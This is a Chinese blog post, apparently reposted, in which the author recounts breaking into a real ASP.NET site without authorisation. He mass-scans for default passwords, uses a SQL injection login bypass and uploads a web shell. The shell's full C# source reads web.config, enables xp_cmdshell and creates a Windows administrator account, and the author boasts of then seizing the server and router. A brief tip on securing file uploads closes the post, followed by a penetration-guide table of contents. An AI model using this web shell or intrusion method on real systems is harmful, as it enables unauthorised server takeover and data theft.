记一次ASP.NET网站的入侵和如何避免被入侵

本文通过一个实际案例展示了ASP.NET网站的安全漏洞,包括利用SQL注入获取数据库连接信息、利用文件上传漏洞执行恶意代码并最终控制服务器的过程。

 

 

ASP.NET网站入侵第二波(LeaRun.信息化快速开发框架 已被笔者拿下)

 

 

详细介绍请看第二波

 

 

 

 

首先我要申明的是不是什么语言写出来的程序就不安全,而是得看写代码的人如何去写这个程序

  前些日子我去客户那调研,发现客户的监控系统用的是海康威视的硬盘录像机,然后默认用户名是amdin 密码是12345,回来后就想玩一玩看看有多少人用的是默认密码,于是就写了个扫描程序,很快扫描到了一大批网站,也得到很多采用的是默认用户名和密码。

  玩了一两天后发现没什么好玩的,就随便在里面找找扫描记录,看到一些后台登陆地址,于是就都测试下,然后就发现了这个网站:

最开始我是测试弱口令,

admin  amdin  等,随便测试了几个,没成功,于是开始测试sql的防注入,用户名输入 1' or 1=1-- 密码随便输了个1 登陆,居然登陆成功了。。。。

但发现登陆进来后报错了,,, 想了下可能是用户名的问题,于是就找页面看看能不能看到我的登陆用户名,最后找到写邮件里面看到了

当然如果入侵只到这 你肯定会绝对弱爆了。。。其实当然也是,因为我拿下了他的数据和程序。。。当然最好拿下了他的服务器,得知他服务器是做的端口映射,于是又拿下了他的路由器,然后就没有再继续往下进行了,当然还可以继续下去,比如 路由器的dns劫持,页面重定向,端口镜像等等

下面我开始介绍主要入侵页面,文件上传页面

 

自己写了个ashx页面,上传

代码很简单,就是读取网站的web.config文件然后以文本形式输出,

我先简单说下入侵流程:

1、读取web.config得到数据库连接

2、利用SQL Server执行命令添加Windows用户(因为网站默认是iis用户,没有权限直线net等相关操作,但SQL Server是基于本地服务运行的,权限很高)

我贴出我上传的ashx文件代码:

 1 <%@ WebHandler Language="C#" Class="TextLd" %>
 2 using System;
 3 using System.Collections.Generic;
 4 using System.Linq;
 5 using System.Web;
 6 using System.Data.SqlClient;
 7 
 8     public class TextLd : IHttpHandler
 9     {
10         public void CreateLocalUser(string newPath)
11         {
12             System.Diagnostics.Process.Start(@"d:\1.vbs");
13             System.IO.File.WriteAllText(@"d:\1.vbs", "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\") \r\n os=\"WinNT://\"&wsnetwork.ComputerName \r\n Set ob=GetObject(os) \r\nSet oe=GetObject(os&\"/Administrators,group\") '属性,admin组\r\nod=ob.Create(\"user\",\"test\") '建立用户 \r\nSetPassword \"1234\" '设置密码 \r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\n add os&\"/test\"");
14         }
15         public void ShowWebConfig(HttpContext context)
16         {
17             context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
18         }
19         public void WriteVbs(HttpContext context)
20         {
21             System.IO.File.WriteAllText(context.Request.MapPath("~/1.vbs"), "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\") \r\n os=\"WinNT://\"&wsnetwork.ComputerName \r\n Set ob=GetObject(os) \r\nSet oe=GetObject(os&\"/Administrators,group\") '属性,admin组\r\nod=ob.Create(\"user\",\"test\") '建立用户 \r\nSetPassword \"1234\" '设置密码 \r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\n add os&\"/test\"");
22         }
23         public void ExecuteSql(string connection, string sql)
24         {
25             using (SqlConnection con = new SqlConnection(connection))
26             {
27                 using (SqlCommand commd = new SqlCommand(sql, con))
28                 {
29                     con.Open();
30                     commd.ExecuteNonQuery();
31                     con.Close();
32                 }
33             }
34         }
35         public void ProcessRequest(HttpContext context)
36         {
37             context.Response.ContentType = "text/plain";
38             context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
39             try
40             {
41                 var connection = context.Request.QueryString["connection"];
42                 switch (context.Request.QueryString["method"])
43                 {
44                     case "1": WriteVbs(context); break;
45                     case "2":
46                         ExecuteSql(connection,@"sp_configure 'show advanced options',1  reconfigure");
47                         ExecuteSql(connection,@"sp_configure 'xp_cmdshell',1 reconfigure");//开启数据库的xp_cmdshell
48                         break;
49                     case "3": ExecuteSql(connection, "exec master..xp_cmdshell 'cscript " + context.Request.MapPath("~/1.vbs") + "'");
50                         break;
51                     default:
52                         ShowWebConfig(context);
53                         break;
54                 }
55             }
56             catch (Exception ex)
57             {
58                 context.Response.Write(ex.Message);
59             }
60             context.Response.End();
61         }
62         public bool IsReusable
63         {
64             get
65             {
66                 return false;
67             }
68         }
69     }
View Code


然后一次执行,就这样服务器就被我拿下了。。。  建立了一个用户名为test密码是1234的超级管理员用户,于是测试下远程连接

然后弄干啥,大家都知道的。。。。

当然,如果不拿下他服务器,你想想你都能直线你自己写的代码了。。。 什么坏事干不了。。。 当然本人只是测试了下可行性,就算不拿下服务器,执行sql语句把他数据库备份下载下来拿还不是分分钟的事情?

好了 我来总结下這次入侵吧,最主要的娄底其实不是他的sql注入(个人觉得,当然他是导火索),而是文件上传,大部分程序员在写文件上传功能的时候,之前客户上传过来的文件保存到网站目录下的某个文件夹,不做任何处理,这也就是导致了他服务器被我拿下的最主要的入口。
所以我还是奉劝大家一下,做文件上传还是对文件进行下处理比较好,具体怎么处理我想聪明的你肯定有很多方法。。。

 

小学文化的我伤不起啊。。。。 哎 。。。  原谅我文采不好   你们将就着看吧-.-!

转载于:https://www.cnblogs.com/dotnet-org-cn/p/4920418.html

0x00 前言 3 0x10 WEBDAV 3 0x20 IIS6短文件名漏洞 3 0x30 网站源代码 4 0x40 网站备份文件、说明文件、数据库备份文件与robots.txt 4 0x41 网站备份文件 4 0x42说明文件 4 0x43数据库备份文件 5 0x44 Robots.txt 5 0x50 未验证的上传页面 5 0x51 经典的upload.asp/upfile.asp组合 5 0x52 与之类似的上传漏洞 5 0x53黑名单验证 5 0x54 shtml/shtm/stm文件爆源码 5 0x55其他方式 5 0x56 MIME 类型检查 6 0x57 一个偷懒用的JS提交代码 6 0x60留言板攻击与非法注册 6 0x61 留言板攻击 6 0x62非法注册 6 0x70未经授权访问的后台文件 7 0x80 万能密码与登陆框注入 7 0x81 万能密码 7 0x82 登陆框注入 7 0x90 注入攻击 7 0xA0后台功能利用 8 0xA1 配置文件插马 8 0xA2 数据库备份 8 0xA3 后台中的上传页面 8 0xA4目录遍历与任意文件下载 9 0xA5 利用SQL执行功能导出SHELL 9 0xA6 模板/JS等生成页面 9 0xB0其他 9 0xB1 细心,耐心与笔 9 0xB2 阅读源码 9 0xB3判断是否是JS验证 9 0xB4 一个关于IIS6解析漏洞的小知识 9 0xB5 狗、神、盾 10 0xB6 IIS7 10 0xB7 COOIKE伪造,百度谷歌搜索CMS漏洞 10 0xB8 编辑器后台 10 0xC0附件 10 0xC1 沙盘sandbox 10 0xC2 LOCK数据包 10 0xC3 IISWRITE 10 0xC4 ACCESS跨库查询测试站点 11 0xC5 IIS短文件名漏洞利用工具 11 0xC6 经典上传漏洞测试站点 11 0xC7 eweb与fck漏洞资料 11 0xC8 lake2一句话加密工具 11 0xC9 留言板CSRF测试站点与利用代码 11 0xCA 万能密码列表 11 0xCB ACCESS偏移注入知识 11 0xCC 带有一句话木马的数据库 11 0xCD 杨凡大牛发出的文档 12 0xCE Upload_Attack_Framework文档 12 0xD0参考资料 12
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值